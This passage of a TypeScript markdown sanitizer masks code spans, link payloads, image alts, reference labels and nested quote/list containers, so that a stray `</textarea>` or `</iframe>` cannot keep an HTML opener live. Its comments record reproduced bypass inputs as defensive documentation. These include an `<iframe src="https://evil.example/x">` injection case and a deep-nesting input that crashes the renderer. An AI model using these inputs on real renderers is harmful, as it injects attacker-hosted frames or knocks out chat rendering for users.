[];\n  let i = source.indexOf('](');\n  while (i !== -1) {\n    const from = i + 2;\n    const cap = Math.min(source.length, from + INLINE_LINK_PAYLOAD_MAX);\n    const close = parseInlineLinkPayload(source, from);\n    if (close < 0) {\n      i = source.indexOf('](', i + 1);\n      continue;\n    }\n    // A CAPPED payload (`close === cap`) has an unknown end, so blank to the end\n    // of the paragraph — see the docblock. A parsed one blanks exactly.\n    const end = close >= cap ? paragraphEnd(source, from) : close;\n    if (end > from) ranges.push([from, end]);\n    // Ascending and non-overlapping: resume past the range just blanked.\n    i = source.indexOf('](', Math.max(end, from));\n  }\n  return blankRanges(masked, ranges);\n}\n\n/** Sort + merge so overlapping/nested finds satisfy `blankRanges`' contract\n *  (non-overlapping, ascending). Empty ranges are dropped. */\nfunction mergeRanges(ranges: Array<[number, number]>): Array<[number, number]> {\n  ranges.sort((a, b) => a[0] - b[0]);\n  const out: Array<[number, number]> = [];\n  for (const [from, to] of ranges) {\n    if (to <= from) continue;\n    const last = out[out.length - 1];\n    if (last && from <= last[1]) {\n      if (to > last[1]) last[1] = to;\n    } else out.push([from, to]);\n  }\n  return out;\n}\n\n/**\n * Blank the BRACKET TEXT of every spelling remark consumes into an ATTRIBUTE or\n * an IDENTIFIER (round 20 — SECURITY, the other half of the shelter class\n * `blankInlineLinkPayloads` opened).\n *\n * Round 19 wrote the general rule — \"every region CommonMark turns into an\n * ATTRIBUTE rather than document text is a shelter of the same kind\" — and then\n * implemented only the `(…)` payload half of it, on a rationale (\"never the\n * `[…]` link TEXT, which is inline-parsed and may hold real HTML\") that is true\n * of an INLINE LINK and false of every other bracket spelling. All seven\n * reproduced live, in BOTH renderers, with `escapeUnknownHtmlTags` returning the\n * input BYTE-IDENTICAL and a live RAWTEXT element swallowing the prose:\n *\n *   ![</textarea>](/x)        → alt=\"</textarea>\"   (string attribute)\n *   ![</textarea>][r]         → alt=\"…\"             (reference image)\n *   [a][</textarea>]          → label → identifier, never rendered\n *   [</textarea>][]           → collapsed reference, identifier again\n *   See[^</textarea>]         → href=\"#user-content-fn-%3C/textarea%3E\"\n *   > ![</textarea>](/x)  ·  - ![</textarea>](/x)   (container-nested)\n *\n * …plus the escalation: `<iframe src=\"https://evil.example/x\" width=\"600\">` in\n * prose above `![</iframe>](/x)` yielded a LIVE iframe retaining `src`, `width`\n * and `height`.\n *\n * WHAT IS CLAIMED, AND WHAT IS DELIBERATELY NOT:\n *\n *   - a `[…]` whose `[` is immediately preceded by `!` — an image's alt is a\n *     STRING attribute in every image spelling (inline, reference, collapsed,\n *     shortcut), so the bracket text never reaches the document as HTML;\n *   - the SECOND `[…]` of a `][` adjacency — a FULL reference's label, which\n *     remark resolves to a definition and never renders;\n *   - the FIRST `[…]` of a `][]` adjacency — a COLLAPSED reference, whose\n *     bracket text IS the identifier. (remark also inline-parses it for display,\n *     so unlike an alt this one is not purely an attribute; blanking it is the\n *     fail-CLOSED direction and the reviewer-confirmed shelter, not a claim that\n *     the text is unrendered.)\n *   - a footnote LABEL, `[^…]`, in BOTH the reference and the definition —\n *     remark percent-encodes it into `href`/`id`. Only the LABEL: round 19 was\n *     right that a footnote definition's BODY is BLOCK-parsed and may hold real\n *     HTML, which is why `blankLinkDefinitions` refuses the whole line.\n *   - NOT the `[…]` of an inline `[text](…)` link, and NOT a bare SHORTCUT\n *     reference `[label]`: in both, remark emits the bracket text as inline\n *     HTML, so a `</textarea>` there IS a real closer and must stay visible.\n *     (Verified: with a live opener above it, that closer pairs.)\n *\n * The reference spellings are NOT reachable from the `](`-anchored scan in\n * `blankInlineLinkPayloads` — there is no `](` in `![x][r]` or `[a][r]` at all —\n * so this pass carries its own anchors.\n *\n * CONTAINER-AGNOSTIC BY CONSTRUCTION, like `blankInlineLinkPayloads`,\n * `blankLinkDefinitions` and `blankComments`: a single left-to-right bracket\n * walk with no column or prefix anchoring, so a blockquote run or list marker is\n * ordinary text ahead of it and ONE top-level call covers every nesting.\n *\n * FAIL DIRECTION: brackets that do not resolve to a link/image at all (ordinary\n * prose `see [1][2]`) are still blanked. Every such over-detection only hides\n * closers, i.e. escapes MORE openers. A backslash escape is consumed as a pair,\n * so `\\[` does not open a group; `\\!` still leaves the following `[` looking\n * image-like, which over-blanks in the same safe direction.\n */\nfunction blankBracketLabels(\n  masked: string,\n  source: string,\n  { footnoteLabels = true }: { footnoteLabels?: boolean } = {},\n): string {\n  if (source.indexOf('[') === -1) return masked;\n  const ranges: Array<[number, number]> = [];\n  /** Open `[` positions, innermost last. */\n  const open: number[] = [];\n  /**\n   * The most recently CLOSED group AT EACH NESTING DEPTH, for the `][` / `][]`\n   * adjacencies. Round 23: this used to be a SINGLE `prev`, which any NESTED\n   * group clobbered — so in `[txt][[^f]]` the outer second group (a full\n   * reference's LABEL) was compared against the INNER `[^f]` instead of against\n   * `[txt]`, the adjacency failed and the label was never blanked. That spelling\n   * was a live fail-open through `blankUnreferencedFootnotes`' phantom count.\n   * Depth-keyed, siblings are compared with siblings.\n   */\n  const prevByDepth: Array<{ open: number; close: number } | null> = [];\n  for (let i = 0; i < source.length; i++) {\n    const ch = source[i];\n    if (ch === '\\\\') {\n      i++;\n      continue;\n    }\n    if (ch === '[') {\n      open.push(i);\n      // Whatever closed at this depth before belongs OUTSIDE the group just\n      // opened, so it cannot be adjacent to anything inside it.\n      prevByDepth[open.length] = null;\n      continue;\n    }\n    if (ch !== ']') continue;\n    const from = open.pop();\n    if (from === undefined) {\n      prevByDepth[0] = null;\n      continue;\n    }\n    const prev = prevByDepth[open.length] ?? null;\n    // IMAGE alt — `![…]`, every image spelling.\n    if (from > 0 && source[from - 1] === '!') ranges.push([from + 1, i]);\n    // FOOTNOTE label — `[^…]`, reference and definition alike. Suppressed for\n    // the reference-counting copy only (`footnoteReferenceMask`), where blanking\n    // the labels would erase the very references being counted.\n    if (footnoteLabels && source[from + 1] === '^') ranges.push([from + 2, i]);\n    // REFERENCE label — the second group of `[…][…]`, or, when that group is\n    // EMPTY (`[…][]`), the first group, which is then the identifier.\n    if (prev !== null && prev.close === from - 1) {\n      if (i === from + 1) ranges.push([prev.open + 1, prev.close]);\n      else ranges.push([from + 1, i]);\n    }\n    prevByDepth[open.length] = { open: from, close: i };\n  }\n  return blankRanges(masked, mergeRanges(ranges));\n}\n\n/** `> ` / `>` container prefixes, including nested ones (`> > `). */\nconst BLOCKQUOTE_PREFIX_RE = /^(?: {0,3}>[ \\t]?)+/;\n\n/**\n * EXACT NO-OP GUARDS for the container cross-calls (round 19 — performance).\n *\n * `blankQuotedCode` and `blankListItemCode` each call the other and\n * `blankListItemCode` now calls itself, and each of those calls walks the run\n * and folds the WHOLE document through `blankRanges` per flush. Widening the\n * list gate to `top >= 1` made every ordinary `- ` item open a run, so a\n * list-dense document paid that constant on every line (measured 3.1x at\n * 989 KB before these guards).\n *\n * Both guards are EXACT, not heuristic: `blankQuotedCode` only ever opens a run\n * on a line `BLOCKQUOTE_PREFIX_RE` matches and `blankListItemCode` only ever\n * pushes a column for a line `LIST_MARKER_RE` matches, so a run containing no\n * such line produces no runs at all and returns `masked` byte-identical. Skipping\n * a provable identity cannot change coverage — do NOT weaken either predicate\n * into an approximation of \"probably nothing here\"; that is how the eight\n * fail-open instances above were born.\n */\nconst hasListMarker = (line: MaskLine): boolean => LIST_MARKER_RE.test(line.content);\nconst hasQuotePrefix = (line: MaskLine): boolean => BLOCKQUOTE_PREFIX_RE.test(line.content);\n\n/**\n * WINDOWED RUNS (round 19 — performance, and the same lesson as `blankRanges`\n * one level up).\n *\n * `blankRanges` is O(document): it rebuilds the whole string. The container\n * passes used to hand it the WHOLE document once per nested pass PER RUN, so a\n * document that is one long sequence of list/quote runs paid O(runs × document)\n * — a second quadratic, sitting directly above the one round 18 removed.\n * Widening the list gate to `top >= 1` tripled the run count and made it\n * visible: a 989 KB all-fenced-in-list-items document went 320 ms → 1006 ms.\n *\n * Runs are DISJOINT and ASCENDING, and every range any nested pass produces\n * lies inside its own run's span (fence ranges start at `line.start`, every\n * other pass at `line.contentStart`). So a run can be masked in ISOLATION, on a\n * window sliced out of the caller's baseline with all offsets rebased, and the\n * windows spliced back in ONE fold at the end. Same output, one document\n * rebuild per pass instead of one per run.\n *\n * Do not reintroduce a per-run fold; a container pass that reassigns the whole\n * `masked` inside its `flush` is the regression.\n */\nfunction rebaseRun(run: MaskLine[], from: number): MaskLine[] {\n  return run.map(line => ({\n    start: line.start - from,\n    contentStart: line.contentStart - from,\n    content: line.content,\n  }));\n}\n\nfunction spliceWindows(masked: string, edits: Array<[number, number, string]>): string {\n  if (edits.length === 0) return masked;\n  const parts: string[] = [];\n  let cursor = 0;\n  for (const [from, to, text] of edits) {\n    if (from > cursor) parts.push(masked.slice(cursor, from));\n    parts.push(text);\n    cursor = to;\n  }\n  parts.push(masked.slice(cursor));\n  return parts.join('');\n}\n\n/** The window a run occupies: from the first line's START (fence ranges are\n *  anchored there, before any container prefix) to the last line's END. */\nfunction runWindow(run: MaskLine[]): [number, number] {\n  const last = run[run.length - 1];\n  return [run[0].start, last.contentStart + last.content.length];\n}\n\n/**\n * CONTAINER NESTING DEPTH GUARD — and it FAILS CLOSED (round 19).\n *\n * The round-17 termination note claimed the mutual recursion was \"verified\n * empirically on `> -   ` alternation nested 1/2/5/20/100/500/2000/8000 levels\n * deep … no throw, ≤4 ms, and the observed recursion depth CAPPED AT 4\". THAT\n * CLAIM IS FALSE and was false when written: HEAD throws `RangeError: Maximum\n * call stack size exceeded` on that exact input from depth ~2000 up. The\n * recursion terminates (the measure argument is sound) but its DEPTH is bounded\n * only by input length, and V8's stack is not. A `RangeError` out of the\n * sanitizer is a rendering crash, i.e. a denial of service on a 24 KB message.\n *\n * Round 19's list self-recursion widened the trigger (a single line of `- `\n * markers overflows from depth ~4000, where HEAD survived because\n * `LIST_MARKER_RE` matches only the first marker), so the guard lands here.\n *\n * THE GUARD IS NOT A COVERAGE HOLE. At the limit the run is not skipped — it is\n * BLANKED WHOLE, which is the strictly more aggressive answer and exactly the\n * fail direction this module rounds towards everywhere else. A markdown document\n * nested 64 containers deep is a code sample rendered as escaped text, not a\n * shelter. Do NOT convert this into a `return` / `continue`: skipping is the\n * fail-OPEN direction and would be a new instance of the class.\n */\nconst CONTAINER_NEST_LIMIT = 64;\n\n/**\n * Blank code regions inside BLOCKQUOTES.\n *\n * `FENCE_RE` matches at column 0..3, so a fence inside a quote (```` > ```html ````)\n * is invisible to the top-level tracker — and a blockquoted code sample is an\n * utterly ordinary chat answer (\"here's the markup:\" followed by a quoted\n * fence). The closer inside it satisfied `hasLaterCloser` and the prose opener\n * above stayed live.\n *\n * CHOSEN APPROACH: strip the quote prefix off each run of quoted lines and run\n * a NESTED tracker (plus the indented-code rule) over the stripped content,\n * blanking only the code regions found. The blunter alternative — blank every\n * `^ {0,3}>` line — is also sound (it only over-blanks) but it would escape a\n * legitimately PAIRED `<textarea>…</textarea>` written inside a blockquote,\n * turning quoted HTML into visible `&lt;…&gt;` source. The nested scan costs\n * one extra line walk and keeps that shape rendering.\n *\n * ---------------------------------------------------------------------------\n * MUTUAL RECURSION — TERMINATION (round 17)\n * ---------------------------------------------------------------------------\n * `blankQuotedCode` and `blankListItemCode` now call EACH OTHER (the missing\n * quote→list direction was the seventh instance of the fail-open class). The\n * recursion terminates on the measure `M(run) = Σ line.content.length`:\n *\n *  - `blankQuotedCode` only puts a line in a run when `BLOCKQUOTE_PREFIX_RE`\n *    matches, and that pattern is `(?: {0,3}>[ \\t]?)+` — at least one `>`, so\n *    the stripped content is at least 1 char SHORTER. Blank lines never match\n *    (they carry no `>`), so EVERY line in a quoted run strictly shortens.\n *  - `blankListItemCode` only puts a line in a run when the content column\n *    `top >= 1` (round 19 — was `>= 4`), and `charIndexAtColumn(content, top)`\n *    with `top >= 1` returns an index `>= 1` (it can only return 0 when the\n *    requested column is 0), so that line strictly shortens too. ROUND-19\n *    RE-VERIFICATION: the same bound covers the new SELF-recursion — the run it\n *    hands itself is cut at the same `top >= 1`, so `M` strictly decreases\n *    across that call exactly as across the `blankQuotedCode` one. ROUND-18\n *    RE-VERIFICATION: this also\n *    covers the MARKER LINE, whose cut lands at `marker[0].length` (or\n *    `markerEnd + 1` under the clamp) — both `>= 2` for every marker spelling,\n *    so the bound `cut >= 1` is unchanged and the measure still strictly\n *    decreases. The reorder moved WHICH lines join a run, not the shortening\n *    property that makes the recursion finite. It also carries blank separators into an\n *    ALREADY-OPEN run as `content: ''` (length 0 ≤ original), and a run is only\n *    ever opened by a non-blank, strictly-shortened line.\n *\n * So each nested call is handed a run whose measure is strictly smaller than\n * the caller's, `M` is a non-negative integer, and the chain is finite.\n *\n * ---------------------------------------------------------------------------\n * FINITE IS NOT THE SAME AS SHALLOW (round 19 — the third false claim)\n * ---------------------------------------------------------------------------\n * Round 17 concluded here: \"It is bounded by input length, so no depth guard is\n * added — there is no non-shortening case to guard against, and a speculative\n * bound would be a second, untested policy. Verified empirically on `> -   `\n * alternation nested 1/2/5/20/100/500/2000/8000 levels deep (240 KB source):\n * length invariant held, no throw, ≤4 ms, and the observed recursion depth\n * CAPPED AT 4 regardless of nesting.\"\n *\n * THE EMPIRICAL PART OF THAT IS FALSE, and was false when written. Re-run on the\n * described input, HEAD raises `RangeError: Maximum call stack size exceeded`\n * from depth ~2000 up — a 24 KB message crashes the renderer. The depth cap of 4\n * held only for the shapes round 17 happened to try; `BLOCKQUOTE_PREFIX_RE`\n * consumes a `> > >` nest in one match, but an ALTERNATING `> -   > -   …` line\n * gives each pass exactly one level to strip and the chain is as deep as the\n * line is long. Round 19's list self-recursion widened it further (a plain `- `\n * run overflows from ~4000, where HEAD survived only because `LIST_MARKER_RE`\n * matches the first marker alone).\n *\n * Termination was never the property at risk — STACK DEPTH was, and \"bounded by\n * input length\" is precisely the bound that does not help. `CONTAINER_NEST_LIMIT`\n * now caps it, blanking an over-deep run WHOLE rather than recursing, which is\n * fail-CLOSED and therefore not a coverage hole. Pinned by\n * `masks arbitrarily deep container nesting without throwing` at depths up to\n * 40000 (469 KB, 11 ms, closer masked at every depth).\n */\nfunction blankQuotedCode(masked: string, lines: MaskLine[], depth = 0): string {\n  let run: MaskLine[] = [];\n  // One edit per run, spliced in a SINGLE fold at the end — see `spliceWindows`.\n  const edits: Array<[number, number, string]> = [];\n  const flush = () => {\n    if (run.length === 0) return;\n    const [from, to] = runWindow(run);\n    const wl = rebaseRun(run, from);\n    let win = masked.slice(from, to);\n    // Depth limit: blank the run WHOLE rather than recurse — see\n    // `CONTAINER_NEST_LIMIT`. Fail-closed, never a skip.\n    if (depth >= CONTAINER_NEST_LIMIT) {\n      edits.push([from, to, blankRanges(win, [[0, win.length]])]);\n      run = [];\n      return;\n    }\n    // The nested FENCE scan needs the unmasked `run` content (the inline-code\n    // pass would have blinded it), but the nested INDENTED scan needs the CURRENT\n    // mask — see `blankIndentedCode`'s SCAN-SOURCE INVERSION.\n    const afterFences = blankFencedRegions(win, wl);\n    win = blankIndentedCode(afterFences, remapToMask(afterFences, wl));\n    win = blankLinkDefinitions(win, wl);\n    // …and the LIST-container pass, mirroring the call `blankListItemCode`\n    // already makes in the other direction. Without it a fenced sample inside a\n    // LIST ITEM inside a QUOTE was seen by NO pass: `FENCE_RE` caps fence indent\n    // at 3 ABSOLUTE columns, so at a quote-relative content column >= 4\n    // (`> 1.  ` / `> -   ` / `> -\\t`) the fence is invisible to the nested\n    // tracker, and `blankIndentedCode`'s list-aware threshold (`contentCol + 4`)\n    // starts at 8 and never reaches it either. Reproduced live for textarea and\n    // iframe, at both list spellings, the tab spelling and depth-2 quotes;\n    // `escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL.\n    if (wl.some(hasListMarker)) win = blankListItemCode(win, wl, depth + 1);\n    edits.push([from, to, win]);\n    run = [];\n  };\n  for (const line of lines) {\n    const prefix = BLOCKQUOTE_PREFIX_RE.exec(line.content);\n    if (!prefix) {\n      flush();\n      continue;\n    }\n    run.push({\n      start: line.start,\n      contentStart: line.contentStart + prefix[0].length,\n      content: line.content.slice(prefix[0].length),\n    });\n  }\n  flush();\n  return spliceWindows(masked, edits);\n}\n\n/**\n * Blank code regions nested inside LIST ITEMS, the list-container analogue of\n * `blankQuotedCode` (round 14).\n *\n * `FENCE_RE` caps fence indent at 3 columns ABSOLUTE, but CommonMark measures a\n * fence's indent from the enclosing item's CONTENT COLUMN. Every list wrapper\n * the corpus swept had a content column of 2 or 3 (`- `, `1. `), so the cap\n * happened to cover them and the gap was invisible; at content column 4 or more\n * — `-` + three spaces, `1.` + three spaces, or the TAB spelling `-\\t`, all\n * ordinary ways to write a list — a fenced code sample inside the item is seen\n * by NO pass. Its `</textarea>` then satisfied `hasLaterCloser`, and a prose\n * `<textarea>` above stayed LIVE and swallowed the rest of the message\n * (reproduced end-to-end at content columns 4 and 5 in BOTH the space and tab\n * spellings; `escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL). The\n * same hole covers a BLOCKQUOTED fence inside such an item, since\n * `blankQuotedCode`'s own `BLOCKQUOTE_PREFIX_RE` is likewise anchored at\n * columns 0..3.\n *\n * Same shape as `blankQuotedCode`: strip the container prefix off each run of\n * lines that share a content column, then run the nested fence + indented scan\n * over the stripped content. The content-column stack is the one\n * `blankIndentedCode` keeps, INCLUDING CommonMark's `markerEnd + 1` clamp and\n * tab expansion, so the two passes cannot disagree about where an item's\n * content begins.\n *\n * FAIL DIRECTION: monotonic. Every pass it calls only ever blanks MORE of the\n * haystack, and more blanking means fewer visible closers, means more openers\n * escaped. So an over-detected run (a list marker written inside a fence\n * pushing a bogus column — the SCAN-SOURCE INVERSION `blankIndentedCode`\n * documents) costs at most a code sample rendered as escaped text.\n */\nfunction blankListItemCode(masked: string, lines: MaskLine[], depth = 0): string {\n  const cols: number[] = [];\n  let run: MaskLine[] = [];\n  let runCol = 0;\n  // One edit per run, spliced in a SINGLE fold at the end — see `spliceWindows`.\n  const edits: Array<[number, number, string]> = [];\n  const flush = () => {\n    if (run.length === 0) return;\n    const [from, to] = runWindow(run);\n    const wl = rebaseRun(run, from);\n    let win = masked.slice(from, to);\n    // Depth limit: blank the run WHOLE rather than recurse — see\n    // `CONTAINER_NEST_LIMIT`. Fail-closed, never a skip.\n    if (depth >= CONTAINER_NEST_LIMIT) {\n      edits.push([from, to, blankRanges(win, [[0, win.length]])]);\n      run = [];\n      return;\n    }\n    // The nested FENCE scan needs unmasked content; the nested INDENTED scan\n    // needs the CURRENT mask — exactly `blankQuotedCode`'s split. The nested\n    // QUOTED scan is needed too: `BLOCKQUOTE_PREFIX_RE` is anchored at columns\n    // 0..3, so a quoted fence inside a column-4 item was missed by BOTH\n    // containers' passes (`bq-in-col4-item`, reproduced live).\n    const afterFences = blankFencedRegions(win, wl);\n    win = blankIndentedCode(afterFences, remapToMask(afterFences, wl));\n    win = blankLinkDefinitions(win, wl);\n    if (wl.some(hasQuotePrefix)) win = blankQuotedCode(win, wl, depth + 1);\n    // …and ITSELF, the symmetric counterpart of the `blankQuotedCode →\n    // blankListItemCode` call above (round 19 — tenth instance of the fail-open\n    // class). `LIST_MARKER_RE` is anchored at `^` and matches only the FIRST\n    // marker on a line, so an INNER item's content column was never pushed and\n    // a block opened on a nested marker line (`- - ```html`, `- - [a]: /x\n    // \"</textarea>\"`) was cut to the OUTER item's column only — still short of\n    // its own. Reproduced live for both shapes at zero quote depth\n    // (`escapeUnknownHtmlTags` byte-identical, one live `<textarea>`, the\n    // document below swallowed). Re-cutting the stripped run re-runs\n    // `LIST_MARKER_RE` against content that now BEGINS at the outer item's\n    // column, so the inner marker is the first one and its column is pushed.\n    //\n    // TERMINATION (self-recursion): every line put in a run is cut at\n    // `charIndexAtColumn(content, top)` with `top >= 1`, which returns an index\n    // `>= 1` (index 0 is only reachable for column 0), so EVERY member of the\n    // run is strictly shorter than the line it came from. The measure\n    // `M(run) = Σ line.content.length` from `blankQuotedCode`'s proof therefore\n    // strictly decreases across this call exactly as it does across the\n    // `blankQuotedCode` one — blank separators enter an already-open run as\n    // `content: ''` (length 0 ≤ original) and never open one. `M` is a\n    // non-negative integer, so the chain is finite; a run with no marker at all\n    // pushes no column, leaves `top === 0`, opens no run and the recursion stops\n    // one level down — which is exactly what `hasListMarker` short-circuits.\n    if (wl.some(hasListMarker)) win = blankListItemCode(win, wl, depth + 1);\n    edits.push([from, to, win]);\n    run = [];\n  };\n  for (const line of lines) {\n    // A blank line does not close a list item, so it stays in the run — the\n    // nested tracker needs it to see the paragraph break. CommonMark's blank\n    // line, not `trim()` (see `isBlankLine`).\n    if (isBlankLine(line.content)) {\n      if (run.length > 0) run.push({ ...line, content: '' });\n      continue;\n    }\n    const indent = leadingIndent(line.content);\n    while (cols.length > 0 && indent < cols[cols.length - 1]) cols.pop();\n    // THE MARKER LINE IS ITSELF ITEM CONTENT (round 18 — eighth instance of the\n    // fail-open class). The marker used to be pushed AFTER the run-membership\n    // decision, so `top` was read from the enclosing state and the marker line\n    // NEVER entered a run — the run began on the line BELOW it. A block opened\n    // ON the marker line (`-   ```html`, `1.  ```html`, `-\\t```html`,\n    // `> -   ```html`) was therefore seen by no pass at all: `FENCE_RE` caps\n    // fence indent at 3 ABSOLUTE columns so the top-level tracker misses it, and\n    // `blankIndentedCode`'s `contentCol + 4` threshold overshoots it. Worse, the\n    // run then STARTED after the opener, so the item's CLOSING fence read as an\n    // `open` to the nested tracker, which blanked to EOF while leaving the code\n    // BODY — and its `</textarea>` — live in the haystack. Reproduced at ZERO\n    // nesting depth (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL,\n    // one live editable `<textarea>` swallowing the prose above it), for both\n    // textarea and iframe and at every marker spelling.\n    //\n    // Pushing the marker first makes `top` the column this line's own content\n    // starts at, so `charIndexAtColumn(content, top)` cuts exactly at the marker\n    // (`marker[0].length`, or `markerEnd + 1` under the clamp) and hands the\n    // nested tracker precisely the item content.\n    //\n    // TERMINATION IS UNCHANGED: `top >= 4` still implies `cut >= 1` (the cut\n    // index can only be 0 when the requested column is 0), so every line put in\n    // a run still strictly shortens and the measure `M(run)` in\n    // `blankQuotedCode`'s termination proof still strictly decreases.\n    const marker = LIST_MARKER_RE.exec(line.content);\n    if (marker) {\n      const markerEndCol = visualColumn(line.content, marker[0].length - marker[2].length);\n      const contentCol = visualColumn(line.content, marker[0].length);\n      cols.push(contentCol - markerEndCol > 4 ? markerEndCol + 1 : contentCol);\n    }\n    const top = cols.length > 0 ? cols[cols.length - 1] : 0;\n    if (top !== runCol) {\n      flush();\n      runCol = top;\n    }\n    // EVERY list item is re-scanned at its own content column (round 19 — ninth\n    // instance of the fail-open class). The gate used to be `top >= 4`, on the\n    // claim that \"below column 4 the top-level passes already cover the line at\n    // the right column\". That is true for a CONTINUATION line — its absolute\n    // indent of 2 or 3 falls inside `FENCE_RE`'s 0..3 cap — and FALSE for the\n    // MARKER LINE, which the top-level passes examine only at column 0, where\n    // the leading `- ` / `1. ` is not whitespace so `FENCE_RE` cannot match and\n    // `blankIndentedCode`'s `contentCol + 4` overshoots. At content column 2 or\n    // 3 — `- ` and `1. `, the two MOST COMMON spellings — the gate then denied\n    // the marker line any run at all and no pass examined it. Reproduced live\n    // for `- ```html` / `1. ```html` / the `<iframe>` spelling, EOF-terminated\n    // (`escapeUnknownHtmlTags` byte-identical, one live RAWTEXT element, the\n    // document below swallowed); the closed-fence spelling is rescued only\n    // INCIDENTALLY by `findInlineCodeRanges` matching the two backtick runs.\n    //\n    // Round 18 fixed WHERE the column is pushed (the marker line now joins the\n    // run) but kept a gate whose justification was untrue one column-range\n    // lower. The gate was an unforced optimization: the pass is documented\n    // monotonic, so re-scanning narrow items can only blank MORE, and\n    // termination is unaffected (`top >= 1` still implies `cut >= 1`).\n    if (top >= 1) {\n      const cut = charIndexAtColumn(line.content, top);\n      if (cut < 0) {\n        flush();\n        runCol = 0;\n      } else {\n        run.push({\n          start: line.start,\n          contentStart: line.contentStart + cut,\n          content: line.content.slice(cut),\n        });\n      }\n    }\n  }\n  flush();\n  return spliceWindows(masked, edits);\n}\n\n/**\n * Build the haystack `hasLaterCloser` searches: a LENGTH-PRESERVING lowercased\n * copy of the document with every region that cannot contain a REAL closing\n * tag blanked to spaces.\n *\n * Why this exists: the escaping pass carefully carves code out, but the\n * closer search used to run over the RAW document. So a `</textarea>` sitting\n * inside a code fence, an inline-code span, or another tag's attribute string\n * satisfied \"is closed later\", the prose opener was left LIVE, and parse5's\n * RAWTEXT span swallowed the rest of the message anyway — the whole fix was\n * one code sample away from being bypassed, which is exactly what an LLM\n * answer about HTML looks like.\n *\n * Masking (rather than deleting) keeps every index identical to the original\n * string, so the caller's offset arithmetic is unchanged. THE LENGTH\n * INVARIANT IS LOAD-BEARING — see `foldAsciiCase`.\n *\n * CARVE DECISION (deliberate, do not \"unify\"): these tracker-derived regions\n * are NOT fed to the escaping carve, even though that would stop an authored\n * EOF-terminated fence body from rendering as literal `&lt;their&gt;`.\n *\n * The genuine asymmetry is the EOF-TERMINATED fence, and only that one. The\n * tracker protects an unclosed opener all the way to end of input, so a single\n * stray ``` line — mid-stream, or inside an open raw-HTML block where a ```\n * line is content rather than a fence — would carve the ENTIRE remainder of the\n * document out of the escaping pass. `PROTECTED_SPAN_RE` protects nothing at\n * all there (it only recognizes a fence CLOSED by a same-marker run), so its\n * failure mode is bounded: a code sample renders as escaped text. In the carve\n * an over-detected region is a region that is NOT escaped — a fail-OPEN, i.e.\n * exactly the swallow this module exists to prevent — so the materially larger\n * fail-open surface decides it.\n *\n * SHARED over-detection (e.g. a ``` line inside an HTML block — `<div>`,\n * `<pre>`, `<details>` — where CommonMark says the line is HTML content, not a\n * fence) was previously dismissed here as \"not an argument either way\". THAT\n * WAS WRONG: it is precisely the residual fail-open. The intersection guard\n * below only reconciles DISAGREEMENT, so when BOTH engines open the same bogus\n * fence the guard is a no-op and a live `<textarea>` inside it is pushed\n * verbatim, swallowing the rest of the message (reproduced for all three tags).\n * What actually closes it is the CARVE BALANCE GUARD in\n * `escapeUnknownHtmlTags`: a protected span may contain no UNBALANCED RAWTEXT\n * opener. Neither engine needs to learn about HTML blocks for that to hold.\n *\n * What makes keeping two engines SAFE is therefore the pair of guards in\n * `escapeUnknownHtmlTags`: a carve span the mask did not blank is escaped\n * rather than pushed through verbatim, and a span carrying an unbalanced\n * RAWTEXT opener is escaped even when both engines agree. Over-detection can\n * then only cost cosmetics. Before the first guard the regex's info-string-tolerant\n * closer let it desync and open a span from a line CommonMark treats as\n * ordinary text, sheltering a live `<textarea>` from escaping entirely\n * (`mismatched-fence-carve-does-not-shelter-opener`). The remaining tradeoff is\n * pinned by `unclosed-fence-body-renders-escaped` rather than left as prose.\n */\nfunction buildCloserHaystack(text: string): string {\n  const folded = foldAsciiCase(text);\n  const lines = toMaskLines(folded);\n  // 1. Inline code spans (the only non-line-state code region). Uncapped and\n  //    backtracking-free — see `findInlineCodeRanges`; an over-cap span used to\n  //    be skipped entirely and sheltered a live RAWTEXT opener.\n  let masked = blankRanges(folded, findInlineCodeRanges(folded));\n  // 2. Every BLOCK-level code form, derived from line state over `folded`:\n  //    fences (tracker-accurate, closed and EOF-terminated alike), indented\n  //    code, blockquoted code, and HTML comments. Each of these carried a\n  //    reproduced live-textarea swallow before it was masked.\n  masked = blankFencedRegions(masked, lines);\n  //    The indented pass walks the CURRENT mask (not `folded`) so a list marker\n  //    written inside a fence cannot shift its content-column stack — see its\n  //    SCAN-SOURCE INVERSION note. `blankQuotedCode` still gets the unmasked\n  //    lines because its NESTED fence scan needs them, and applies the same\n  //    inversion internally.\n  masked = blankIndentedCode(masked, remapToMask(masked, lines));\n  //    …and LINK REFERENCE DEFINITIONS, which remark consumes whole and emits\n  //    nothing for, so a `</textarea>` in a destination or title is not a closer.\n  masked = blankLinkDefinitions(masked, lines);\n  //    …and the GFM FOOTNOTE definitions that pass deliberately refuses, but only\n  //    the UNREFERENCED ones: remark-gfm drops those whole, so their bodies are\n  //    not document text either. It reads the CURRENT mask for DEFINITIONS and a\n  //    separate, more-blanked copy for REFERENCES (`footnoteReferenceMask`), both\n  //    behind a `[^` guard.\n  //\n  //    ITS SLOT IS CONSTRAINED ON BOTH SIDES, and neither bound is cosmetic:\n  //      · it may not run EARLIER than the code passes, whose output is the\n  //        definition source;\n  //      · it may not simply be MOVED after `blankInlineLinkPayloads` /\n  //        `blankBracketLabels` to pick up the phantom-reference fix, because\n  //        `blankBracketLabels` blanks footnote labels \"reference AND definition\n  //        alike\" — after it, EVERY reference is gone and every referenced\n  //        definition would be over-blanked into escaped source. Hence the\n  //        separate scratch copy instead of a reorder.\n  masked = blankUnreferencedFootnotes(masked, lines, folded);\n  //    …and the INLINE link/image spelling of the same shelter, which remark\n  //    likewise turns into href/title attributes. Container-agnostic, so like\n  //    the definition pass it needs exactly one top-level call.\n  masked = blankInlineLinkPayloads(masked, folded);\n  //    …and the BRACKET half of that same class — an image's alt, a reference\n  //    label, a footnote label — which remark consumes into an attribute or an\n  //    identifier. Container-agnostic, so likewise exactly one top-level call.\n  masked = blankBracketLabels(masked, folded);\n  masked = blankQuotedCode(masked, lines);\n  //    …and the LIST-container analogue, for items whose content column exceeds\n  //    the 3-column fence-indent cap. Monotonic, so its position among the\n  //    block passes is not load-bearing.\n  masked = blankListItemCode(masked, lines);\n  // Comments scan the MASKED copy, not `folded` — see `blankComments`. Must\n  // stay LAST: it relies on every code region already being blanked.\n  masked = blankComments(masked, masked);\n  // 3. Attribute regions. Blanking the WHOLE tag would blank real `</tag>`\n  //    closers too (and break the closed-form fixtures), so only the\n  //    attribute run between the tag name and the `>` is cleared.\n  masked = blankTagAttributes(masked);\n  return masked;\n}\n\n/** Exported for the length-preservation 